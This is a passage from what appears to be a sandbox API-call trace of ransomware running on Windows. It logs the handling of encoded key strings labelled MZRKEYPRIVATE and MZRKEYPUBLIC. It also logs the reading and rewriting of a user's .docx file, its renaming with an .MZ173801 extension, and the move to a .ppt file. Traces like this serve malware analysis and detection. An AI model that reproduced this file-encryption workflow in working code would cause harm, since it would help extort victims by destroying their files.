Dn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.584] GetCurrentThreadId () returned 0xab4 [0168.584] GetCurrentThreadId () returned 0xab4 [0168.584] GetCurrentThreadId () returned 0xab4 [0168.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.585] GetCurrentThreadId () returned 0xab4 [0168.585] GetCurrentThreadId () returned 0xab4 [0168.585] GetCurrentThreadId () returned 0xab4 [0168.585] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\pUtEu.docx" (normalized: "c:\\users\\fd1hvy\\documents\\puteu.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.585] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.585] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.585] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2830 [0168.585] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.585] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x2830, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x2830, lpOverlapped=0x0) returned 1 [0168.586] CloseHandle (hObject=0x278) returned 1 [0168.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\pUtEu.docx" (normalized: "c:\\users\\fd1hvy\\documents\\puteu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.588] WriteFile (in: hFile=0x278, lpBuffer=0x24a4040*, nNumberOfBytesToWrite=0x2830, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a4040*, lpNumberOfBytesWritten=0x19fa24*=0x2830, lpOverlapped=0x0) returned 1 [0168.589] CloseHandle (hObject=0x278) returned 1 [0168.589] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\pUtEu.docx" (normalized: "c:\\users\\fd1hvy\\documents\\puteu.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\pUtEu.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\puteu.docx.mz173801")) returned 1 [0168.590] GetCurrentThreadId () returned 0xab4 [0168.590] GetCurrentThreadId () returned 0xab4 [0168.590] GetCurrentThreadId () returned 0xab4 [0168.590] GetCurrentThreadId () returned 0xab4 [0168.590] GetCurrentThreadId () returned 0xab4 [0168.590] GetCurrentThreadId () returned 0xab4 [0168.590] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x172e2e20, ftCreationTime.dwHighDateTime=0x1d5eaaa, ftLastAccessTime.dwLowDateTime=0xf52a7730, ftLastAccessTime.dwHighDateTime=0x1d5ed82, ftLastWriteTime.dwLowDateTime=0xf52a7730, ftLastWriteTime.dwHighDateTime=0x1d5ed82, nFileSizeHigh=0x0, nFileSizeLow=0x12c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RCiQJ4sRfOg.ppt", cAlternateFileName="RCIQJ4~1.PPT")) returned 1 [0168.590] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.590] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\RCiQJ4sRfOg.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\rciqj4srfog.ppt"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x172e2e20, ftCreationTime.dwHighDateTime=0x1d5eaaa, ftLastAccessTime.dwLowDateTime=0xf52a7730, ftLastAccessTime.dwHighDateTime=0x1d5ed82, ftLastWriteTime.dwLowDateTime=0xf52a7730, ftLastWriteTime.dwHighDateTime=0x1d5ed82, nFileSizeHigh=0x0, nFileSizeLow=0x12c9)) returned 1 [0168.590] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\RCiQJ4sRfOg.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\rciqj4srfog.ppt")) returned 0x20 [0168.590] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\RCiQJ4sRfOg.ppt", dwFileAttributes=0x80) returned 1 [0168.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 